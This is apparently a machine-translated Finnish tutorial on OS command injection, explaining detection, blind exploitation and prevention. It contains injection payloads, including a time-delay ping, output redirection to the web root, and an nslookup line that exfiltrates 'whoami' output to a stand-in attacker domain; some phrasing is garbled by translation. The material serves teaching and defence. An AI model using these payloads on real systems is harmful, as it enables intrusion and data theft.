tässä osiossa selitämme, mitä OS command injection on, miten haavoittuvuuksia voidaan havaita ja hyödyntää, täsmentää joitakin hyödyllisiä komentoja ja tekniikoita eri käyttöjärjestelmille ja tiivistää, miten estää OS command injection.
- mikä on OS command injection?
- mielivaltaisten komentojen suorittaminen
- hyödylliset komennot
- Blind OS command injection-haavoittuvuudet
- tunnistamalla Blind OS-komennon ruiskutuksen aikaviiveillä
- käyttämällä blind OS-komennon pistosta uudelleenohjaamalla tuloste
- käyttämällä sokeaa OS-komentoruiskutusta käyttäen Oast-tekniikkaa
- tapoja pistää OS-komentoja
- kuinka estää OS command injection-hyökkäykset
mikä on OS command injection?
OS command injection (tunnetaan myös nimellä shell injection) on web-tietoturva-haavoittuvuus, jonka avulla hyökkääjä voi suorittaa mielivaltaisia käyttöjärjestelmän (OS) komentoja palvelimella, joka ajaa sovellusta, ja tyypillisesti täysin vaarantaa sovelluksen ja kaikki sen tiedot. Hyvin usein, hyökkääjä voi hyödyntää OS command injection haavoittuvuus vaarantaa muita osia hosting-infrastruktuurin, hyödyntämällä luottamussuhteita kääntää hyökkäys muihin järjestelmiin organisaation sisällä.
mielivaltaisten komentojen suorittaminen
harkitse ostosovellusta, jonka avulla käyttäjä näkee, onko jokin esine varastossa tietyssä kaupassa. Näitä tietoja käytetään URL: n, kuten:
https://insecure-website.com/stockStatus?productID=381&storeID=29
varastotietojen antamiseksi sovelluksen on kysyttävä eri vanhoja järjestelmiä. Historiallisista syistä toiminnallisuus toteutetaan kutsumalla komentotulkki tuotteen ja tallentaa tunnukset argumentteina:
stockreport.pl 381 29
tämä komento tulostaa määritetyn kohteen Varastotilan, joka palautetaan käyttäjälle.
koska sovellus ei toteuta puolustusta OS-komennon ruiskutusta vastaan, hyökkääjä voi lähettää seuraavan syötön mielivaltaisen komennon suorittamiseen:
& echo aiwefwlguh &
jos tämä syöte annetaan parametrissa productID
, sovelluksen suorittama komento on:
stockreport.pl & echo aiwefwlguh & 29
echo
– komento yksinkertaisesti saa toimitetun merkkijonon kaikumaan ulostulossa, ja se on hyödyllinen tapa testata tietyntyyppistä käyttöjärjestelmän komentoruiskutusta. &
– merkki on komentotulkin erotin, joten se, mitä suoritetaan, on todellisuudessa kolme erillistä komentoa yksi toisensa jälkeen. Tämän seurauksena käyttäjälle palautettu tuotos on:
Error - productID was not provided
aiwefwlguh
29: command not found
kolme riviä lähtö osoittaa, että:
- alkuperäinen
stockreport.pl
– komento suoritettiin ilman odotettuja argumentteja ja palautti siten virhesanoman. - pistetty
echo
– komento suoritettiin, ja annettu merkkijono kaikui tuotoksessa. - alkuperäinen argumentti
29
suoritettiin käskynä, joka aiheutti virheen.
lisäkomentoerottimen sijoittaminen &
pistetyn komennon jälkeen on yleensä hyödyllistä, koska se erottaa pistetyn komennon pistospistettä seuraavasta komennosta. Tämä vähentää todennäköisyyttä, että seuraava estää pistetyn komennon suorittamisen.
hyödylliset komennot
kun olet tunnistanut KÄYTTÖJÄRJESTELMÄKOMENTOHAAVOITTUVUUDEN, on yleensä hyödyllistä suorittaa joitakin alkukäskyjä saadaksesi tietoa vaarantuneesta järjestelmästä. Alla on yhteenveto joistakin komennoista, jotka ovat hyödyllisiä Linux-ja Windows-alustoilla:
komennon tarkoitus | Linux | Windows |
---|---|---|
nykyisen käyttäjän nimi | whoami |
whoami |
käyttöjärjestelmä | uname -a |
ver |
verkon asetukset | ifconfig |
ipconfig /all |
verkkoyhteydet | netstat -an |
netstat -an |
käynnissä olevat prosessit | ps -ef |
tasklist |
Blind OS command injection-haavoittuvuudet
Monet os command injection-tapaukset ovat sokeita haavoittuvuuksia. Tämä tarkoittaa, että sovellus ei palauta komennon tulostetta HTTP-vastauksessaan. Sokeita haavoittuvuuksia voidaan edelleen hyödyntää, mutta eri tekniikoita tarvitaan.
harkitse verkkosivua, jonka kautta käyttäjät voivat antaa palautetta sivustosta. Käyttäjä syöttää sähköpostiosoitteensa ja palauteviestinsä. Tämän jälkeen palvelinpuolen sovellus luo sivuston ylläpitäjälle sähköpostin, joka sisältää palautteen. Tätä varten se kutsuu mail
– ohjelman lähetettyine yksityiskohtineen. Esimerkiksi:
mail -s "This site is great" -aFrom:[email protected] [email protected]
komennon mail
tulostetta (jos sellainen on) ei palauteta sovelluksen vastauksissa, joten echo
hyötykuorman käyttäminen ei olisi tehokasta. Tässä tilanteessa, voit käyttää erilaisia muita tekniikoita havaita ja hyödyntää haavoittuvuuden.
tunnistamalla Blind OS-komennon ruiskutuksen aikaviiveillä
voit käyttää pistettyä komentoa, joka laukaisee aikaviiveen, jolloin voit vahvistaa, että komento suoritettiin sovelluksen vastausajan perusteella. Komento ping
on tehokas tapa tehdä tämä, sillä sen avulla voit määrittää lähetettävien ICMP-pakettien määrän ja siten komennon suorittamiseen kuluvan ajan.:
& ping -c 10 127.0.0.1 &
tämä komento aiheuttaa sovelluksen ping sen loopback verkkosovittimen 10 Sekuntia.
käyttämällä blind OS-komennon pistosta uudelleenohjaamalla tuloste
voit ohjata pistetyn komennon tulosteen web-juuressa olevaan tiedostoon, jonka voit sitten hakea selaimellasi. Jos sovellus esimerkiksi palvelee staattisia resursseja tiedostojärjestelmän sijainnista /var/www/static
, voit lähettää seuraavan syöte:
& whoami > /var/www/static/whoami.txt &
>
– merkki lähettää whoami
– komennon tulosteen määritettyyn tiedostoon. Tämän jälkeen voit hakea tiedoston selaimellasi https://vulnerable-website.com/whoami.txt
ja tarkastella syötetyn komennon tulostetta.
käyttämällä sokeaa OS-komentoruiskutusta käyttäen Oast-tekniikkaa
voit käyttää pistettyä komentoa, joka käynnistää taajuusalueen ulkopuolisen verkkoyhteyden hallitsemasi järjestelmän kanssa OAST-tekniikoita käyttäen. Esimerkiksi:
& nslookup kgji2ohoyw.web-attacker.com &
tämä hyötykuorma käyttää nslookup
– komentoa aiheuttaakseen DNS-haun määritetylle toimialueelle. Hyökkääjä voi seurata määritetyn haun esiintymistä ja siten havaita, että komento syötettiin onnistuneesti.
Out-of-band-kanava tarjoaa myös helpon tavan poistaa ulostulo ruiskutetuista komennoista:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
tämä aiheuttaa hyökkääjän verkkotunnukseen DNS-haun, joka sisältää whoami
– komennon tuloksen:
wwwuser.kgji2ohoyw.web-attacker.com
tapoja pistää OS-komentoja
erilaisia komentotulkin metakaraktereita voidaan käyttää OS-komentojen pistoshyökkäyksiin.
joukko merkkejä toimii käskynerottimina, jolloin käskyt voidaan kahlita yhteen. Seuraavat käskynerottimet toimivat sekä Windows-että Unix-pohjaisissa järjestelmissä:
-
&
-
&&
-
|
-
||
seuraavat käskynerottimet toimivat vain Unix-pohjaisissa järjestelmissä:
-
;
- Newline (
0x0a
tai\n
)
Unix-pohjaisissa järjestelmissä voit käyttää myös backtic-tai dollar-merkkiä, jotta voit suorittaa pistetyn komennon inline-suorituksen alkuperäisen komennon sisällä.:
-
`
ruiskutettu komento`
-
$(
ruiskutettu komento)
huomaa, että eri komentotulkin mittareilla on hienovaraisesti erilaisia käyttäytymismalleja, jotka saattavat vaikuttaa siihen, toimivatko ne tietyissä tilanteissa ja sallivatko ne komentotulostulosteen haun kaistan sisällä vai ovatko ne hyödyllisiä vain sokeassa hyödyntämisessä.
joskus kontrolloimasi tulo näkyy lainausmerkeissä alkuperäisessä komennossa. Tässä tilanteessa sinun on lopetettava lainattu asiayhteys (käyttämällä "
tai '
) ennen kuin käytät sopivia komentotulkin metakaraktoreita uuden komennon antamiseen.
kuinka estää OS command injection-hyökkäykset
ylivoimaisesti tehokkain tapa estää OS command injection-haavoittuvuudet on olla koskaan kutsumatta käyttöjärjestelmän komentoja sovelluskerroksen koodista. Lähes joka tapauksessa on olemassa vaihtoehtoisia tapoja toteuttaa vaaditut toiminnot turvallisempien sovellusliittymien avulla.
jos katsotaan, ettei käyttöjärjestelmän komentojen kutsumista käyttäjän syöttämällä syötöllä voida välttää, on suoritettava vahva syötevalidointi. Esimerkkejä tehokkaasta validoinnista ovat:
- validoidaan sallittujen arvojen valkoiselle listalle.
- validoidaan, että panos on numero.
- vahvistetaan, että syöte sisältää vain aakkosnumeerisia merkkejä, ei muita syntaksia tai välilyöntejä.
älä koskaan yritä puhdistaa syötteitä pakenevilla hylsyn kämmenmikroilla. Käytännössä tämä on vain liian virhealtista ja haavoittuvaa taitavan hyökkääjän ohittamiselle.